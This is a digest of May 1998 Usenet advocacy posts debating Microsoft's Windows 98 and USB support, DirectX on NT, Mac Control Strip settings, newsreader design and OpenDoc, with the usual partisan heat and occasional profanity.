"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM>
Message-ID: <35509256.0@news.depaul.edu>
Date: 6 May 98 16:39:50 GMT
In comp.sys.next.advocacy Michael Peck <MJPECK@CONVEX.COM> wrote:
> Gregory H. Anderson wrote:
> > This is a complete red herring. Either your (new) computer has USB on
> > the backplane, or it doesn't. If it does -- like my new Presario 2240,
> > which arrived with OSR2 -- then the supplied operating system supports
> > it.
> My motherboard has a USB port. It didn't come with OSR2.
Same with mine. Well, it has one, but I didn't bother to hook
it up.
It's also got an IrDA header. Is IrDA supported by shrinkwrap
Win95 or NT yet?
<snip>
> > So I guess the argument for harm comes down to companies that make
> > add-in USB cards for older computers.
> Or companies that sell motherboards as upgrades.
IMHO, the harm is due to the apparent fact that the USB support
can't be supplied separately from the OS. (Actually, I think
IrDA support *was* downloadable.)
If vendors could supply the USB drivers, there'd be no problem
at all. I suppose Microsoft will say it's 'integrated' and
'impossible to separate'.
<snip>
> It's about not having to find kludgy ways to attach low-cost peripherals
> to a computer.
It's also about getting something better than Windows serial ports,
which are *horribly* managed by the OS. It's quite easy to lose
access to your serial mouse on NT - just have your serially-connected
digital camera's batteries run out. The software tries to find
the camera, and locks up the other serial ports.
Then there's the problem when you install extra serial ports, but
your serial device driver is hard-coded to only know about COM1-4,
and doesn't care about the new ones.
--
"... and subpoenas for all." - Ken Starr
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 17:13:08 GMT
Organization: P & L Systems
Message-ID: <6iq5n4$4f3$4@ironhorse.plsys.co.uk>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172>
<6ip5fr$4f3$1@ironhorse.plsys.co.uk> <3550824E.4441@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <3550824E.4441@CONVEX.COM> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > > My point was not personal.
> > >
> > Oh bollocks. You're being an asshole, why not just admit it?
>
> I've been wondering for the past few weeks where you got that literary
> quote you posted about me...it sounded like it must have been
> Shakespeare. Could you point me to it?
>
Odd that such an uncouth post should remind you of that! :-)
You wrote:
> Call it what you like, mmalcolm. It's apparent I messed with the wrong
> group of Montagues. Unwilling to entangle myself further in your verbal
> challenge, I leave you and Kristofer and Don to your wounded-soldier
> snit.
>
to which I responded:
Well, he wasn't wounded at this stage, and he wasn't a Montague, but:
"Thou art like one of these fellows that, when he
enters the confines of a tavern, claps me his sword upon
the table and says `God send me no need of thee', and
by the operation of the second cup, draws him on the
drawer when indeed there is no need."
which I guess I should have attributed to Wm. Shakespeare -- Romeo & Juliet
Act 3 Scene 1, Mercutio to Benvolio, shortly before Mercutio is killed by
Tybalt.
Best wishes,
mmalc.
From: glend@no_spam.direct.ca (Glenn Davies)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <35518e01.49193135@news.direct.ca>
References: <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com>
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Date: Wed, 06 May 1998 17:28:53 GMT
NNTP-Posting-Date: Wed, 06 May 1998 10:28:53 PDT
Organization: Canada Internet Direct, Inc.
On Mon, 4 May 1998 18:40:23 -0500, "Pinochet"
<9grayhome9@00sprintmail0me0.com> wrote:
>X-No-Archive: Yes
>darknerd@shell4.ba.best.com wrote in message ...
>>This is not really an attack to the actual technical merit of any given
>>operating system, but rather an attack on Micro$oft's business practices
>>screws up customers.
>
>
>Then why poost it to so many NG's?
>
>>My argument is that Micro$oft is forcing users and developers to use
>>DOS-booting Windows '95 instead of the more stable WindowsNT.
>
>
>Well, actually MS is trying to encourage the switch to NT, and DirectX6
>will be on NT5 first, so I think you're a little behind the times.
>
Thats funny I'm pretty sure that MS is slated to release DirectX6 for
95/98 in July. You probably won't see NT 5 until mid 99.
>>They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>>the matter.
>
>
>No. What MS should do is release another Service Pack with support for
>later versions of DirectX. They did this with SP3, and DX3, or didn't you
>know?
Except they left out support for hardware acceleration or didn't you
know?
----
Glenn Davies
From: glend@no_spam.direct.ca (Glenn Davies)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <35528eae.49366355@news.direct.ca>
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com>
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Date: Wed, 06 May 1998 17:28:55 GMT
NNTP-Posting-Date: Wed, 06 May 1998 10:28:55 PDT
Organization: Canada Internet Direct, Inc.
On Tue, 5 May 1998 12:02:24 -0500, "Pinochet"
<9grayhome9@00sprintmail0me0.com> wrote:
>
>Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
>> > Well, actually MS is trying to encourage the switch to NT, and
>>DirectX6 will be on NT5 first, so I think you're a little behind the
>times.
>>
>>That makes it even worse.
>
>No, it doesn't...you're making some foolish assumptions, that's what.
>
>
>>That means that by now, Microsoft is forcing us to use win95 since
>>directx 5 will not come out for NT4.
>
>Well, actually you CAN get DX5 for NT4, however since DX6 is so
>close, MS has decided not to release that patch(though you can still
>get it), and instead will have one for DX6 when it is done.
Please tell me how one can get DX5 for NT - what MS URL is there for
it? Also DX6 is slated to only be supported under NT 5 not NT 4 - I
guess we're going to have to wait.
>
>>Then, as win98 is out, we have to buy it also.
>
>Why? Maybe if they didn't put DX6 on 95, and worse yet you just had
>to play some new games...but then only the first is the choice of MS,
>the rest is YOURS.
>
>>And when then NT comes out with directx6 we also have to buy it.
>
>Wrong...DirectX6 will probably be available on W98 first, since NT5.0
>isn't coming anytime soon...however DX6 will be done on NT first.
In another post you claimed the DX 6 will be on NT 5 first.
>
>>So Microsoft is forcing the users that want to play games to buy 95, 98
>>AND NT5.
>
>Nope. Sorry, you don't have to buy 95 if you can live without *some* games
>now, you certainly don't have to buy 98 *yet* as DX6 isn't released, and if
>it's not on W98, then why would you have to buy W98? Which means
>you'd only have to buy NT 5....but wait, maybe MS will patch 95 and NT
>to support Directx6, did you think of that?
>
>> And what about directx 7 ? Maybe it will only be available for windows
>> 00 (Big problem with y2k)?
>
>Well, considering when MS plans to release both of those, it is a distinct
>possibility, but then why should MS be supporting 5 or so year old stuff
>with the latest and greatest?
>
>>> >They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>>> >the matter.
>>>
>>> No. What MS should do is release another Service Pack with support for
>>> later versions of DirectX. They did this with SP3, and DX3, or didn't
>you
>>> know?
>>
>>Don't you see that they will not do this because they want you to buy
>>the next version of NT?
>
>I see that is possible. I don't see it as certain.
>
>>Now, since Microsoft popularity is going down more and
>>more,
>
>Wrong. While in limited groups MS might be hated, in others, people
>just don't give a shit..
>
>>they have to force the users to buy them.
>
>No, they don't....in fact such an act would be counterproductive if you
>asked me....
>
----
Glenn Davies
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 12:38:10 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iplji$6cb$2@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net> <35508bf4.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <35508bf4.0@news.depaul.edu> Jonathan W Hendry claimed:
> Mail lists would be semi-private, depending on how tightly
> controlled membership is.
So the line is blurred.
> Moderated newsgroups are essentially public. There are
> controls only on posting. Anyone can read them.
So the line is blurred.
e-mail - totally private both ends messages in RC-822 wrappers
mail lists - private reading and writing discussion groups
moderated groups - public reading and private writing discussion groups
usenet - public post and reading.
> Closed, private, local newsgroups are effectively the same
> as mail lists, except that articles are kept at one or more
> local sites, rather than distributed to each participant.
Which from an network standpoint is much better. I believe maillists being
used as discussion forums is merely a side effect of not-so-powerful news
readers of the past.
> > At home one of the newsreaders I use does exactly this for news as
well.
>
> Well, if you're using flatfile news, you can easily get this.
True too, but very few people do.
> If you're using NNTP, you don't generally want all articles
> downloaded, sorted, and filed. You probably only want a few
> articles filed away.
I don't believe this is true - again this is a side effect. Now that the
majority of users on the net are on pay-as-you-go dialup offline newsreaders
have jumped in popularity. As time goes on I think the primary difference
between the two will blur even more.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 15:52:45 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0505981552450001@dante.eng.uci.edu>
References: <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu>
In article <6io37n$hdg$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
>Eudora 3 is showing its age, though I like the ease with which I can pull
>in UNIX mailboxes, I hate its search engine. Eudora 4 is bloatware.
>Overall I like ClarisEmailer 2.0v3, but the difficulty of importing and
>exporting mailboxes, and the slowness of Applescript for doing things like
>marking messages read (the user should not have to wait minutes for it to
>chew through a few hundred messages marking them), and the somewhat
>cluttered filter interface make using it problematic (though the find is
>good).
Don't use the applescript to mark messages read, use the contextual menu
to do it instead. **Much** faster. Until 8.2 that is...
Importing and exporting mailboxes is a pain in the ass, agreed. The filter
interface is a bit cluttered, but quite functional. Best of all, however,
is being able to trigger an AS with an incoming message or to schedule
execution of an AS. Nothing else I know of does this, and it is quite
wonderful as there is no provision for hooking into an OS level service on
the MacOS (which would be better, IMO).
-Bob Cassidy
From: joe@apk.net (Joseph T. Adams)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 6 May 1998 18:01:13 GMT
Organization: Quality Data Division of JTAE
Message-ID: <6iq8h9$aj6$2@nerd.apk.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net>
Perry.Fecteau@Republican.COM (perfecto@ct2.nai.net) wrote:
: the funny thing is that this asshole takes himself seriously.
: microsoft isn't even a dow component. that may not have anything to
: do with anything but microsoft is but a spec of dust on the nuts of
: companies like GE, exxon, ibm, phillip morris, at&t, etc.. to think
: that not releasing a program so insignificant in the scheme of things
: will halt the economy is ridiculous and stupid. as far as i remember
: this country's being run by oracle databases anyway.
Microsoft damages the economy, by releasing buggy software that
often lowers net productivity rather than increasing it. I agree that
the economy will not stand or fall based on Win98, or even the PC
industry as a whole. But I do think it has a large impact, larger
than the size of Microsoft itself might indicate, for the same reason
that the impact of the uranium industry on France (which relies
largely upon nuclear power) is far larger than the size of that
industry would suggest. It's just a negative impact, rather than a
positive one, and it will diminish over time as companies migrate from
Microsoft products to other products that actually work.
Joe
From: joe@apk.net (Joseph T. Adams)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 6 May 1998 18:04:26 GMT
Organization: Quality Data Division of JTAE
Message-ID: <6iq8na$aj6$3@nerd.apk.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu> <6ioon0$clv$2@ligarius.ultra.net> <pxpst2-0605980856380001@pelli.pathology.pitt.edu>
Peter (pxpst2@unixs.cis.pitt.edu) wrote:
: Marketing it to the masses is fine as long as they do not promise to
: products being sold now. If I were to promise that on some specific date
: that I would give you this piece of software if you order a computer now,
: and then was not able to deliver. Then I would be false advertising. I
: would also be subject to law suites.
And criminal prosecution as well, if you knew or had reason to know
that you would be unable to deliver, because in that case you would
have committed fraud, which is a criminal as well as a civil matter at
least here in the U.S.
Joe
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 18:15:18 GMT
Organization: VHA Inc.
Message-ID: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6ioone$clv$5@ligarius.ultra.net>...
> VHA PC Development wrote in message
> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>...
> >I know this is a respam, but the discussion seems to be wide-ranging.
> >
> >John Saunders <jws@jws.ultranet.com> wrote in article
> ><6imcmk$oj1$3@ligarius.ultra.net>...
> >> DC, would a company like CompUSA, which has spent x Million dollars
> >getting
> >> their advertising and promotions ready for the Win98 launch would be
hurt
> >if
> >> that launch were delayed a year or two?
> >
> >Probably not.
> >
>
>
> I'm going to run right out and buy stock in CompUSA - a company which can
> drop millions of dollars and not be hurt by it. Hey, people, I said
"hurt",
> not "devastated".
>
Most advertising is tax deductible. CUSA's drop of millions of dollars was
a risky investment as investments usually go. They may be wounded for a
quarter maybe though I'll give you that.
Let me ask you some questions...
What return could CompUSA get from spending MOD on ads and promos for
another company's product? Upgrades?
I wouldn't doubt if CUSA was being urged to campaign for this new windows.
They are a powerful force in the U.S. computer market. There is nothing
wrong with such partnerships insofar as it doesn't attempt to stifle
competition.
> >>
> >> Would the vendors of USB peripherals be hurt if there is no mainstream
> >> operating system that supports USB?
> >
> >There would be mainstream support for USB if more people would/could get
> >their hands on the USB supplement included in Win95 OSR2. Which, by the
> >way, is all Win98 is except for being hamstrung by tighter integration
with
> >IE.
> >
>
> I know this. But that's in the ideal world. In the real world, the
platform
> in which this support is to ship is Windows 98.
OSR2 is shipping with new computers yet current users are left out. I
stipulate that Windows98 isn't a new version at all; it's the same thing as
95 but with a few more bells and whistles. Albeit, you're being charged
for what new users have been getting for free with OSR2 AND you're getting
IE rammed down yer throat.
>
> How long do you think it would take DOJ to allow Microsoft to ship the
USB
> components of Win98 as an update? Three months? Six?
Why would DOJ have a problem with the supplement? USB components are there
to make OSR2 compatible not incompatible.
>
> >>
> >> Would companies which have been testing their products against Windows
98
> >be
> >> concerned if Windows 98 didn't ship?
> >
> >They shouldn't. Their programs should be able to run just fine on all
> >flavors of Win95.
> >
>
>
> Yeah, ok. Is that why no one is testing their stuff on Windows 98?
Whatever
> testing they're doing will be wasted if they have to wait a year or two
for
> the software to ship.
I should say not. Wasted is such a harsh word. Nothing is wasted if it
will be used. I know one or two years is a long time in the industry but
their programs will still work in the future. MS is good about that.
>
> >>
> >> Would consumers who want to upgrade their existing systems by adding
> >large
> >> hard disks be impacted by the lack of FAT32 support in Win95-retail?
> >
> >Fat32 support is nice yes but once again, Fat32 is part of OSR2 (which
you
> >can't get without buying an OEM machine). MS wants you to pay for
Fat32.
>
>
> Again, I know that. What did I say that made people think I didn't know
> about OSR2?
Nothing. Which, by implication, didn't say you did...
>
> You can't (legally) buy OSR2 for an existing machine. If you have an
> existing machine and you want some of these features, then you need
Windows
> 98. I agree that if you buy a new machine you may have little use for
> Windows 98.
Need?
>
> John Saunders
> jws@jws.ultranet.com
>
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 18:05:46 GMT
Organization: P & L Systems
Message-ID: <6iq8pq$4f3$5@ironhorse.plsys.co.uk>
References: <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com>
<354F8B3B.3FDF@earthlink.net> <6ipt38$9eu$1@new-news.cc.brandeis.edu>
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Cc: xray@cs.brandeis.edu
In <6ipt38$9eu$1@new-news.cc.brandeis.edu> Nathan G. Raymond wrote:
> [The Control Strip] could be improved by being rolled into a modular system
> with a more mutable/customizable UI, like a dock. Not difficult. There
> should be the option now to have floating palettes hide off screen and
> slide out when needed...
>
You mean a bit like Preferences.app ...?
Best wishes,
mmalc.
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 13:27:49 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550ABA5.5367@CONVEX.COM>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net> <6iptuk$4f3$3@ironhorse.plsys.co.uk> <3550819D.42C0@CONVEX.COM> <joe.ragosta-0605981256510001@wil103.dol.net>
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Joe Ragosta wrote:
> Not quite.
>
> Open the "Control Strip" control panel (in the Control Panels folder, natch).
>
> You have 3 choices--show control strip, hide control strip, or hot-key to
> toggle control strip.
Thank you. I went for brute force, not quite remembering whether there
was an option in the control panel.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Wed, 06 May 1998 13:33:42 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550AD06.31F9@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net> <EsI7zE.9nA@basil.icce.dev.rug.null.nl> <35508cff.0@news.depaul.edu>
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Jonathan W Hendry wrote:
>
> Tom Hageman <tom@basil.icce.dev.rug.null.nl> wrote:
>
> >To each his own. The times I tried a newsreader with separate newsgroups,
> >article and message windows (yes, on NEXTSTEP! I don't remember whether
> >it was NewsFlash or HNNews(?)) it drove me batty.
>
> Same here. Especially if each article you click on gets its own window.
> Ick. Too much needless work, managing all those windows whose contents
> I probably won't want for more than a few moments.
Closing a window is but a keystroke away, no?
Netscape's mail client dedicates a single window to articles. Choosing
an article other than the one currently displayed causes the
currently-displayed article to be replaced in the same window by the new
article.
There are lots of options, all of which are better than panes.
> Then again, I also hate it when MacOS or Windows are set up to
> always create new Finder/Explorer windows.
Option-click can help...
MJP
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 18:46:06 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143>
On 5 May 1998 18:05:00 -0700, Lawson English <english@primenet.com> wrote:
:I mean, think about it: how often do you need to adjust the volume?
Not that often.
:How critical is it to most computing tasks?
When sound blares out inappropriately loud, it's very necessary to be able
to turn it down or mute it *immediately* regardless of context, especially
in communal environments.
:And yet, you want to take up precious keyboard real estate with a couple of
:volume controls?
Sure. They're much more useful than the CAPS LOCK and 'Print Screen/SysRq'
and 'Scroll Lock' and 'Pause' and three "Windows iconish" buttons which
infest every PC keyboard.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Wed, 06 May 1998 14:13:45 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550B669.1ADC@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354F5313.762E@CONVEX.COM> <joe.ragosta-0505981602160001@wil124.dol.net>
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Joe Ragosta wrote:
>
> In article <354F5313.762E@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>
> > The really interesting part is that just as Apple had gotten Netscape to
> > agree to provide Navigator as a CyberDog part, laying those objections
> > to rest...OpenDoc got the now-famous "bullet in its head".
>
> "just as Apple got Netscape to agree"?????
>
> Netscape had been promising for a long, long time and had missed a number
> of promised ship dates. When Apple finally killed OD, the Navigator part
> was still vapor--not even a beta in sight.
Netscape agreed to create a Navigator CyberDog part in late 1996, just
before I left FedEx, if I remember correctly. I had been with HP for
around 6 months when OpenDoc was canned, I believe, so that makes a
total elapsed time from CyberDog part announcement to Offical OpenDoc
Canning something on the order of 7-9 months.
Since the rumors of OpenDoc being canned were circulating in early 1997,
I guess you could say Netscape had roughly 4-5 months to work on the
project before OpenDoc started making gurgling noises in its throat.
Now, maybe you can port a major Web browser to a foreign component
technology in 4-5 months, between major releases, but apparently
Netscape couldn't. Just goes to show how stupid they were.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 12:18:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B176058D-492B7@206.165.43.51>
References: <3550819D.42C0@CONVEX.COM>
nntp://news.primenet.com/comp.sys.next.advocacy
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Michael Peck <MJPECK@CONVEX.COM> said:
>mmalcolm crawford wrote:
>
>> > Remember that CS only takes a tiny corner of the screen when you're
not
>> > using it. OR, if you don't like it at all, you can turn it off. That
seems
>> > like it should remove most complaints.
>> >
>> That seems fair -- how do you switch it off?
>
>[Working from memory]
>
>Control Panels->Extensions Manager
>
>Click "Control Strip" so that it's not checked.
>
>Reboot.
>
Er, no. Control Panels->Control Strip
Select button "hot key to show/hide Control strip"
Optionally define hot key (default is command + control + s)
Close "Control Strip"
[MacOS 8.1]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 19:36:13 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6iqe3d$q5e$1@vixen.cso.uiuc.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net>
In article <355d5b06.148323868@news.nai.net>,
Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>that may not have anything to do with anything but microsoft is but a
>spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>morris, at&t, etc..
At over $200,000,000,000 Microsoft has the second biggest market
value (only behind GE) of any company in the world.
Cheers,
Terry Murphy
Date: Wed, 06 May 1998 13:15:21 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605981315210001@wil103.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <6ipuo8$606$2@strato.ultra.net>
In article <6ipuo8$606$2@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Chris Johnson wrote in message ...
> > The message?
> > "We'll trigger economic disaster, see that it is a real problem, and
> >then blame it all on the DoJ! Sure, this tactic will do heavy damage to
> >the U.S. economy and possibly the world's economy- but if we can trigger
> >this NOW and make it look like it's the DoJ's fault for restricting us,
> >maybe they will give us our monopoly back!"
>
> You just lost me here. In what way is Microsoft causing the economic
> problem? I'm sure they'd prefer not to be sued.
I think there's some justification for Chris' comments.
Look at the latest market share figures. The share of the top 5 vendors
has increased dramatically. I don't remember the exact percentage, but the
"other" category dropped by almost half. A lot of these "other" companies
are going to have problems.
Meanwhile, Compaq's earnings nearly disappeared. Many other companies in
the industry are having problems.
The industry grew incredibly fast and it looks like that growth is going
to taper off. With Compaq, et al being aggressive about inexpensive PCs, a
lot of people are going to be hurt. Chris' comment (if I understand it) is
that MS is trying to distance itself from the carnage. They're blaming
everyone else.
Now, I'm not saying that it's MS' fault that some smaller PC vendors are
going to struggle. But fingers are going to be pointing everywhere and MS
wants to make sure they're not in the line of fire.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 13:04:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605981304450001@wil103.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6ioone$clv$5@ligarius.ultra.net> <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net> <6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net>
My vote for MS shill of the year award goes to Dr. Mankiw. The following
